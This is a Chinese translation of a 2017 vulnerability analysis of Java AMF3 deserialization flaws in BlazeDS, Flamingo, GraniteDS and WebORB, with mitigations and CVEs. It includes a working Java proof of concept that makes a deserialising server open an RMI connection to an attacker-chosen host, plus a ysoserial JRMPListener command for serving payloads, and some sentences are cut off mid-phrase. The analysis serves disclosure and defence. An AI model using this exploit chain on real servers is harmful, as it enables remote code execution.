java amf3_Java AMF3 反序列化漏洞分析
寫在前面的話
AMF(Action Message Format)是一種二進制序列化格式,之前主要是Flash應用程序在使用這種格式。近期,Code White發現有多個Java AMF庫中存在
目前,漏洞相關信息已上報至美國CERT(詳情請參考美國CERT VU#307983)
概述
目前,Code White主要對以下幾種熱門的Java AMF實現:
Flex BlazeDS by Adobe
Flex BlazeDS by Apache
Flamingo AMF Serializer by Exadel (已停更)
GraniteDS (已停更)
WebORB for Java by Midnight Coders
而這些又存在著下面列出的一個或多個漏洞:
XML外部實體注入(XXE)
任意對象創建及屬性設置
通過RMI實現Java序列化
漏洞影響
簡而言之,任意遠程
前兩個漏洞并不是新漏洞,但是目前仍然有很多庫存在這樣的漏洞。除此之外,研究人員也發現了一種能夠將這種設計缺陷轉換成Java序列化漏洞的方法。
我們將會對上述漏洞(除了XXE)進行詳細描述,如果你想了解關于這個XXE漏洞的詳細內容,請參考我們之前所發表的一篇文章《CVE-2015-3269: Apache Flex BlazeDS XXE Vulnerabilty》。
介紹
AMF3(Action Message Format version 3)同樣是一種二進制信息編碼格式,它也是Flash應用在與后臺交互時主要使用的一種
AMF3對象的新功能可以歸結為兩種新增加的特性,而這兩種新特性(dynamic和externalizable)描述了對象是如何進行序列化操作的:
Dynamic:一個聲明了動態特性的類實例;公共變量成員可以在程序運行時動態添加(或刪除)到實例中。
Externalizable:實現flash.utils.IExternalizable并完全控制其成員序列化的類實例。
注:具體請參考Adobe官方給出的解釋【傳送門】。
Dynamic特性
我們可以拿Dynamic特性與JavaBeans的功能進行對比:它允許我們通過類名及屬性來創建一個對象。實際上,很多JavaBeans實體目前已經實現了這種技術,例如java.beans.Introspector、Flamingo、Flex BlazeDS和WebORB等等。
但需要注意的是,這種功能將會導致一種可利用的漏洞產生。實際上,Wouter Coekaerts早在2011年就已經將這種存在于AMF實現中的漏洞曝光了,并且還在2016年發布了相應漏洞的利用代碼及PoC。
Externalizable特性
我們可以拿Externalizable特性賴于Java的java.io.Externalizable接口進行對比。實際上,很多廠商早就已經將flash.utils.IExternalizable接口的規范進行了調整,其實它與Java的java.io.Externalizable區別不大,這種特性將允許我們可以高效地對實現了java.io.Externalizable接口的類進行重構。
java.io.Externalizable接口定義了兩個方法:即readExternal(java.io.ObjectInput)和writeExternal(java.io.ObjectInput),而這兩個方法將允許java類完全控制序列化以及反序列化操作。這也就意味著,在程序的運行過程中不存在默認的序列化/反序列化行為以及有效性檢測。因此,相對于java.io.Serializable來說,我們使用java.io.Externalizable來實現序列化/反序列化則更加的簡單和高效。
將EXTERNALIZABLE.READEXTERNAL轉換為OBJECTINPUTSTREAM.READOBJECT
在OpenJDK 8u121中總共有十五個類實現了java.io.Externalizable接口,而其中絕大多數類的任務僅僅是重構一個對象的狀態而已。除此之外,實際傳遞給Externalizable.readExternal(java.io.ObjectInput)方法的java.io.ObjectInput實例也并非java.io.ObjectInputStream的實例。
在這十五個類中,那些與RMI有關的類則吸引了我們的注意。尤其是sun.rmi.server.UnicastRef和sun.rmi.server.UnicastRef2,因為他們會通過sun.rmi.transport.LiveRef.read(ObjectInput, boolean)方法來對sun.rmi.transport.LiveRef對象進行重構。除此之外,這個方法還會重構一個sun.rmi.transport.tcp.TCPEndpoint對象以及一個本地sun.rmi.transport.LiveRef對象,并且在sun.rmi.transport.DGCClient中進行注冊。其中,DGCClient負責實現客戶端的RMI分布式垃圾回收系統。DGCClient的外部接口為“registerRefs”方法,當一個LiveRef的遠程對象需要進入虛擬機系統時,它需要在DGCClient中進行注冊。關于DGCClient的更多內容請參考OpenJDK給出的官方文檔【傳送門】。
根據官方文檔中的描述,LiveRef的注冊是由一次遠程調用完成的,而我們覺得這里將有可能允許我們通過RMI來實現遠程代碼執行(RCE)!
在對這次調用進行了追蹤分析之后,我們發現整個調用過程非常復雜,它涉及到Externalizable.readExternal、sun.rmi.server.UnicastRef/sun.rmi.server.UnicastRef2、ObjectInputStream.readObject以及sun.rmi.transport.StreamRemoteCall.executeCall()等多種對象及方法。
接下來讓我們來看看,如果我們通過一個sun.rmi.server.UnicastRef對象來對一條AMF消息進行反序列化的話會出現什么情況,相關代碼如下所示(利用了Flex BlazeDS):
import?java.io.ByteArrayInputStream;import?java.io.ByteArrayOutputStream;import?java.io.IOException;import?java.util.Arrays;import?flex.messaging.io.SerializationContext;import?flex.messaging.io.amf.ActionContext;import?flex.messaging.io.amf.ActionMessage;import?flex.messaging.io.amf.AmfMessageDeserializer;import?flex.messaging.io.amf.AmfMessageSerializer;import?flex.messaging.io.amf.MessageBody;public?class?Amf3ExternalizableUnicastRef?{public?static?void?main(String[]?args)?throws?IOException,?ClassNotFoundException?{if?(args.length??");return;}boolean?doDeserialize?=?false;if?(args.length?==?3)?{doDeserialize?=?true;args?=?Arrays.copyOfRange(args,?1,?args.length);}//?generate?the?UnicastRef?objectObject?unicastRef?=?generateUnicastRef(args[0],?Integer.parseInt(args[1]));//?serialize?object?to?AMF?messagebyte[]?amf?=?serialize(unicastRef);//?deserialize?AMF?messageif?(doDeserialize)?{deserialize(amf);}?else?{System.out.write(amf);}}public?static?Object?generateUnicastRef(String?host,?int?port)?{java.rmi.server.ObjID?objId?=?new?java.rmi.server.ObjID();sun.rmi.transport.tcp.TCPEndpoint?endpoint?=?new?sun.rmi.transport.tcp.TCPEndpoint(host,?port);sun.rmi.transport.LiveRef?liveRef?=?new?sun.rmi.transport.LiveRef(objId,?endpoint,?false);return?new?sun.rmi.server.UnicastRef(liveRef);}public?static?byte[]?serialize(Object?data)?throws?IOException?{MessageBody?body?=?new?MessageBody();body.setData(data);ActionMessage?message?=?new?ActionMessage();message.addBody(body);ByteArrayOutputStream?out?=?new?ByteArrayOutputStream();AmfMessageSerializer?serializer?=?new?AmfMessageSerializer();serializer.initialize(SerializationContext.getSerializationContext(),?out,?null);serializer.writeMessage(message);return?out.toByteArray();}public?static?void?deserialize(byte[]?amf)?throws?ClassNotFoundException,?IOException?{ByteArrayInputStream?in?=?new?ByteArrayInputStream(amf);AmfMessageDeserializer?deserializer?=?new?AmfMessageDeserializer();deserializer.initialize(SerializationContext.getSerializationContext(),?in,?null);deserializer.readMessage(new?ActionMessage(),?new?ActionContext());}}
為了證實代碼能夠正常運行,我們首先設置了一個監聽器,然后看一看鏈接是否能夠成功建立。
此時,我們成功地與客戶端建立了一條通信連接,而且使用的還是Java RMI傳輸協議。
漏洞利用
實際上,jacob Baines早在2016年就已經將這項技術(反序列化黑名單繞過)公之于眾了,但是我并不確定當時他是否知道這種技術同樣還會將任意的Externalizable.readExternal對象轉換為ObjectInputStream.readObject對象。除此之外,他當時還介紹了一個可以發送任意Payload的JRMP監聽器:
java?-cp?ysoserial.jar?ysoserial.exploit.JRMPListener?...
廠商產品影響情況
緩解方案
首先,使用了Adobe或Apache實現的應用程序應該盡快將Apache更新至最新版本(v4.7.3)。其次,Exadel目前已經停止對他的代碼庫進行維護了,所以使用了Flamingo AMF Serializer的用戶不會再收到更新推送了。不過目前對于GraniteDS和WebORB還沒有合適的解決方案。
參考資料
http://codewhitesec.blogspot.com/2017/04/amf.html
http://openjdk.java.net/jeps/290
http://www.kb.cert.org/vuls/id/279472
http://www.adobe.com/go/amfspec
https://cwe.mitre.org/data/definitions/502.html
https://cwe.mitre.org/data/definitions/913.html
https://cwe.mitre.org/data/definitions/611.html
其他信息
CVE ID:
CVE-2015-3269、CVE-2016-2340、CVE-2017-5641、CVE-2017-5983、CVE-2017-3199、CVE-2017-3200、CVE-2017-3201、CVE-2017-3202、CVE-2017-3203、CVE-2017-3206、CVE-2017-3207、CVE-2017-3208
公開日期:2017年4月4日
最新更新日期:2017年4月4日
文檔版本:73
總結
以上是生活随笔為你收集整理的java amf3_Java AMF3 反序列化漏洞分析的全部內容,希望文章能夠幫你解決所遇到的問題。
- 上一篇: python 获取向上两级路径_Pyth
- 下一篇: mysql备机写binlp_MySQL主